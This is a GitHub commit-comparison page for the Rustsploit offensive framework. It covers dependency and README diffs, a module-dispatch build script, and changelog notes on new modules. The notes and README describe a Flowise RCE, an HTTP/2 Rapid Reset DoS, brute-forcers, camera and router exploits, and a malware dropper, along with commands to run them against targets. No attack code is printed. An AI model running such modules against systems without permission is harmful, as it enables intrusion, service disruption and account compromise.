Compare commits

...

86 Commits

Author SHA1 Message Date
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
S.B 5975adce78 Merge pull request #19 from s-b-repo/livaetina-refomration
Livaetina refomration
2025-11-12 19:40:09 +02:00
S.B 1246b3f4b7 Revise README with updates and new module details
Updated README to enhance clarity and detail about Rustsploit's features, modules, and usage. Added new modules and improved documentation.
2025-11-12 18:35:05 +02:00
S.B b148f8ba14 Add files via upload 2025-11-12 18:31:45 +02:00
S.B d4dd665efd Add files via upload 2025-11-12 18:21:23 +02:00
S.B a5b6261101 Delete docs directory 2025-11-12 18:21:04 +02:00
S.B 06915cbc35 Add files via upload 2025-11-12 18:19:44 +02:00
S.B b9ace5a109 Delete lists directory 2025-11-12 18:19:20 +02:00
S.B 04f1e67758 Add files via upload 2025-11-12 18:18:49 +02:00
S.B 15a12d57e9 Delete src directory 2025-11-12 18:16:46 +02:00
S.B e49f55eb21 Update README.md 2025-11-09 03:05:57 +02:00
S.B 9865225e99 Bump version to 0.2.0 and update sysinfo
Updated package version and dependencies.
2025-11-09 03:03:04 +02:00
S.B 3b33e40727 Add files via upload 2025-11-09 03:01:14 +02:00
S.B 759f733650 Create test.txt 2025-11-09 03:00:23 +02:00
S.B 5873ba0d5a Delete src directory 2025-11-09 02:59:43 +02:00
S.B 3da254c19b Update README.md 2025-05-26 11:56:33 +02:00
S.B 986384f95c Update README.md 2025-05-26 11:52:51 +02:00
S.B 6e0679a162 Add files via upload 2025-05-26 11:51:44 +02:00
S.B 8855289c45 Delete lat.png 2025-05-26 11:51:01 +02:00
S.B 21c1240d61 Update README.md 2025-05-26 11:49:10 +02:00
S.B 2d0743ab3a Merge pull request #13 from s-b-repo/elons-musk-sniff-sniff
Elons musk sniff sniff
2025-05-26 11:46:14 +02:00
S.B 03fba5f883 Update port_scanner.rs 2025-05-26 11:45:07 +02:00
S.B aea5dc5952 Update narutto_dropper.rs 2025-05-26 11:43:27 +02:00
S.B 10cb64da04 Update mod.rs 2025-05-26 11:25:10 +02:00
S.B 51872dda9c Add files via upload 2025-05-26 11:23:33 +02:00
S.B dfdecaca39 Update Cargo.toml 2025-05-26 10:58:48 +02:00
S.B dcefdf961c Update mod.rs 2025-05-26 10:57:04 +02:00
S.B 8f22dfeb75 Update port_scanner.rs 2025-05-26 10:55:48 +02:00
S.B e6de81c538 Add files via upload 2025-05-26 10:48:59 +02:00
S.B 60e1dd3c6c Update extra.txt 2025-05-22 22:56:38 +02:00
S.B f4fd03923a Update opensshserver_9_8p1race_condition.rs 2025-05-22 22:55:51 +02:00
S.B 0aab4d3265 Update opensshserver_9_8p1race_condition.rs 2025-05-22 21:22:59 +02:00
S.B 31b47015e6 Update extra.txt 2025-05-22 21:21:43 +02:00
S.B 06acd0a837 Update README.md 2025-05-22 15:40:17 +02:00
S.B 6769d5756b Update README.md 2025-05-22 15:39:19 +02:00
S.B 8bf13d0d2c Update README.md 2025-05-22 15:38:25 +02:00
S.B 2baf1c700f Update mod.rs 2025-05-22 15:28:45 +02:00
S.B 6eba62971c Rename doc.md to readme.md 2025-05-22 15:25:36 +02:00
S.B fb52ae5440 Add files via upload 2025-05-22 15:25:03 +02:00
S.B 2a503e4a18 Rename about.txt to readme.md 2025-05-22 15:24:01 +02:00
S.B a859cff7ab Update narutto_dropper.rs 2025-05-22 15:23:10 +02:00
S.B a8f284051b Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 15:22:56 +02:00
S.B a22b8cd3fe Update mod.rs 2025-05-22 15:21:52 +02:00
S.B 9ecb846f62 Rename about.md to readme.md 2025-05-22 15:20:39 +02:00
S.B 87558a0ddd Rename about.txt to about.md 2025-05-22 15:20:09 +02:00
S.B 2d49af6a24 Update mod.rs 2025-05-22 14:10:43 +02:00
S.B 220482758d Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 14:09:53 +02:00
S.B f1f30511d4 Update smtp_bruteforce.rs 2025-05-22 09:19:08 +02:00
S.B 25401dcbc6 Update port_scanner.rs 2025-05-22 09:12:00 +02:00
S.B 5839e5b346 Update mod.rs 2025-05-21 19:59:30 +02:00
S.B c114f8e1fe Add files via upload 2025-05-21 19:59:01 +02:00
S.B 310d192bc2 Update rdp_bruteforce.rs 2025-05-21 14:34:19 +02:00
S.B 4f878b7d36 Update ssh_bruteforce.rs
added ssh improvement
2025-05-21 14:22:04 +02:00
S.B e03dfff879 Update ftp_bruteforce.rs 2025-05-18 05:33:10 +02:00
S.B 91bfd85323 Update README.md 2025-05-09 22:27:00 +02:00
S.B 2813f21988 Update mod.rs 2025-05-09 22:19:32 +02:00
S.B 08a2af4274 Add files via upload 2025-05-09 22:18:26 +02:00
S.B 3c65160cc3 Update mod.rs 2025-05-09 21:09:27 +02:00
S.B 3dcc51f388 Add files via upload 2025-05-09 21:08:43 +02:00
S.B 394c5eb426 Update Cargo.toml 2025-05-09 15:46:55 +02:00
S.B f8bd0c2fc6 Update mod.rs 2025-05-09 15:35:38 +02:00
S.B 02e3450ea7 Add files via upload 2025-05-09 15:34:37 +02:00
S.B a0e56948d3 Update mod.rs 2025-05-09 11:46:37 +02:00
S.B 2c6e4bfb43 Add files via upload 2025-05-09 11:44:53 +02:00
S.B dd8f28130a Update zte_zxv10_h201l_rce_authenticationbypass.rs 2025-05-09 11:36:43 +02:00
S.B 054be52ba4 Update Cargo.toml 2025-05-08 16:55:56 +02:00
S.B 359ed806ba Add files via upload 2025-05-08 16:53:47 +02:00
S.B 918d83210c Update mod.rs 2025-05-08 16:52:44 +02:00
S.B bf06138630 Add files via upload 2025-05-08 16:52:10 +02:00
S.B 334f24092f Delete src/modules/exploits/router directory 2025-05-08 16:51:24 +02:00
S.B 878bad38eb Update Cargo.toml 2025-05-08 16:02:28 +02:00
S.B b7df70055d Update README.md 2025-05-08 14:55:57 +02:00
S.B b8998d0633 Merge pull request #12 from Giteeajake/main
Update Cargo.toml
2025-05-06 17:14:55 +02:00
Giteeajake 123918d3bf Update Cargo.toml 2025-05-06 10:09:29 +08:00
Giteeajake f445d52c28 Update Cargo.toml 2025-05-06 10:03:56 +08:00
59 changed files with 8506 additions and 1668 deletions
+73 -105
View File
@@ -1,145 +1,113 @@
[package]
name = "rustsploit"
version = "0.1.0"
version = "0.2.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
[package]
name = "rustsploit"
version = "0.1.0"
edition = "2021"
build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9.0"
rand = "0.9"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
clap = { version = "4.5", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
anyhow = "1.0"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
colored = "3.0"
rustyline = "15.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
async_ftp = "6.0"
tokio-socks = "0.5"
rustls = "0.23"
webpki-roots = "0.26"
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2"
sysinfo = { version = "0.37", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
walkdir = "2.5.0"
walkdir = "2.5"
#ssh
ssh2 = "0.9.5"
ssh2 = "0.9"
# rstp brute forcing
base64 = "0.22.1"
base64 = "0.22"
# RDP brute forcing module
rdp = "0.12.8"
rdp = "0.12"
# ssdp moudle scanner
regex = "1.11.1"
regex = "1.11"
ipnet = "2.11"
#camera uniview exploit
quick-xml = "0.37.4"
quick-xml = "0.37"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
md5 = "0.7"
ftp = "3.0"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
libc = "0.2"
futures = "0.3"
futures-util = "0.3"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
serde_json = "1.0"
tokio-tungstenite = "0.26"
#zte rce
# Add these to [dependencies]
aes = "0.8"
cipher = "0.4"
flate2 = "1.0"
# for Roundcube exploit payload encoding
data-encoding = "2.5"
#avanti
url = "2.5"
semver = "1.0"
#stalk route full traceroute
pnet_packet = "0.34"
socket2 = { version = "0.5", features = ["all"] }
# HTTP/2 Rapid Reset DoS
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
h2 = "0.3"
tokio-rustls = "0.24"
http = "0.2"
bytes = "1.0"
#pingsweep
which = "8.0"
# API server
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
chrono = { version = "0.4", features = ["serde"] }
serde = { version = "1.0", features = ["derive"] }
uuid = { version = "1.10", features = ["v4"] }
sha2 = "0.10"
hex = "0.4"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
# RDP brute forcing module
rdp = "0.12.8"
# ssdp moudle scanner
regex = "1.11.1"
#camera uniview exploit
quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
regex = "1.11" # required for use in build.rs
[[bin]]
name = "rustsploit"
+143 -137
View File
@@ -1,196 +1,202 @@
# Rustsploit 🛠️
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/lat.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
### Goals & To Do lists
Convert exploits and add modules
## Table of Contents
# completed
```
added acm_5611_rce
added zabbix_7_0_0_sql_injection
added cve_2024_7029_avtech_camera
added pachev_ftp_path_traversal_1_0
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
5. [CLI Usage](#cli-usage)
6. [Proxy Workflow](#proxy-workflow)
7. [How Modules Are Discovered](#how-modules-are-discovered)
8. [Contributing](#contributing)
9. [Credits](#credits)
---
## Highlights
-**Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
-**Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
-**Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
-**Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
-**Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
-**Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
-**Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
-**Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
---
## Module Catalog
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
| `lists` | RTSP wordlists and helper files |
Run `modules` or `find <keyword>` in the shell for the authoritative list.
---
## Quick Start
### Requirements
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11
for rdp bruteforce modudle
```
```
### 📦 Clone the Repository
```
git clone https://github.com/s-b-repo/r-routersploit.git
cd r-routersploit
sudo apt install freerdp2-x11 # Required for the RDP brute force module
```
### 🛠️ Build the Project
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
### Clone + Build
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
cargo build
```
To build and run:
```
cargo run
```
To install:
```
cargo install
```
---
### 🖥️ Run in Interactive Shell Mode
Launch the interactive RSF shell:
### Run (Interactive Shell)
```
cargo run
```
Once inside the shell:
### Install (optional)
```text
rsf> help
rsf> modules
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
cargo install --path .
```
---
### 🔧 Run in CLI Mode
## Interactive Shell Walkthrough
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
#### ▶ Exploit
```
RustSploit Command Palette
Command Shortcuts Description
--------------- ------------------------- ------------------------------
help help | h | ? Show this screen
modules modules | ls | m List discovered modules
find find <kw> | f1 <kw> Search modules by keyword
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
set target set target <value> Set current target (IPv4/IPv6/hostname)
run run | go Execute current module (honors proxy mode)
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
proxy_on/off proxy_on | pon / ... Toggle proxy usage
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
show_proxies show_proxies | proxies View proxy status
exit exit | quit | q Leave shell
```
Example session:
```
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
rsf> pl data/proxies.txt # prompts if omitted
rsf> pon
rsf> proxy_test # optional validation / filtering
rsf> go
```
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
---
## CLI Usage
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
```
# Exploit
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### 🧪 Scanner
```
# Scanner
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
# Credentials
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
```
#### 🔐 Credentials
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
---
## 🌐 Proxy Retry Logic (Shell Mode)
## Proxy Workflow
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
Rustsploit treats proxy lists as first-class citizens:
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
- Loads from user-supplied files, skipping invalid lines with reasons
- Optional connectivity test prompts allow tuning:
- Test URL (default `https://example.com`)
- Timeout (seconds)
- Max concurrent checks
- Keeps only working proxies when validation is requested
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
---
## 📂 Module System
## How Modules Are Discovered
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
Each module must define:
```
pub async fn run(target: &str) -> Result<()>
pub async fn run(target: &str) -> anyhow::Result<()>;
```
Optional:
```
pub async fn run_interactive(target: &str) -> Result<()>
```
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
- File: `src/modules/exploits/sample_exploit.rs`
- Shell path: `exploits/sample_exploit`
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
---
## 🧼 Shell State
## Contributing
The shell keeps:
- Current module
- Current target
- Proxy list + state
Contributions are welcome! High-level suggestions:
No session state is saved — everything resets on restart.
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
4. Document usage patterns in module comments
5. Run `cargo fmt` and `cargo check` before opening a PR
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
---
## 💡 Want to Add a Module?
## Credits
See the full [Developer Guide](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Wordlists:** Seclists + custom additions (`lists/` directory)
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
---
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
---
+174 -57
View File
@@ -1,96 +1,213 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
/// Build script that generates module dispatchers for exploits, scanners, and creds.
///
/// This script:
/// - Scans `src/modules/{category}/` directories recursively
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
/// - Generates dispatch functions that support both short names and full paths
/// - Creates deterministic, sorted output for better maintainability
fn main() {
// Tell Cargo to rerun this build script if module directories change
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
// Generate dispatchers for each module category
let categories = vec![
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
];
for (root, out_file, mod_prefix, category_name) in categories {
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
std::process::exit(1);
}
}
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
/// Generates a dispatch function for a module category.
///
/// # Arguments
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
/// * `category_name` - Category name for error messages (e.g., "Exploit")
fn generate_dispatch(
root: &str,
out_file: &str,
mod_prefix: &str,
category_name: &str,
) -> Result<(), Box<dyn std::error::Error>> {
let out_dir = env::var("OUT_DIR")
.map_err(|_| "OUT_DIR environment variable not set")?;
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
if !root_path.exists() {
return Err(format!("Module directory '{}' does not exist", root).into());
}
// Collect all module mappings (using HashSet to avoid duplicates)
let mut mappings = HashSet::new();
visit_dirs(root_path, "".to_string(), &mut mappings)?;
if mappings.is_empty() {
eprintln!("⚠️ Warning: No modules found in {}", root);
}
// Sort mappings for deterministic output
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
sorted_mappings.sort_by_key(|(key, _)| key);
// Generate the dispatch function
let mut file = File::create(&dest_path)
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
writeln!(
file,
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
)?;
writeln!(
file,
"/// Dispatches to the appropriate {} module based on module name.\n\
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
category_name.to_lowercase()
)?;
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
)?;
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
// Generate match arms for each module (supporting both short and full names)
for (key, mod_path) in &sorted_mappings {
let short_key = key.rsplit('/').next().unwrap_or(key);
let mod_code_path = mod_path.replace("/", "::");
// Support both short name and full path
if short_key == *key {
// No subdirectory, only short name
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_code_path,
p = mod_prefix
)?;
} else {
// Has subdirectory, support both short and full
writeln!(
file,
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
short = short_key,
full = key,
m = mod_code_path,
p = mod_prefix
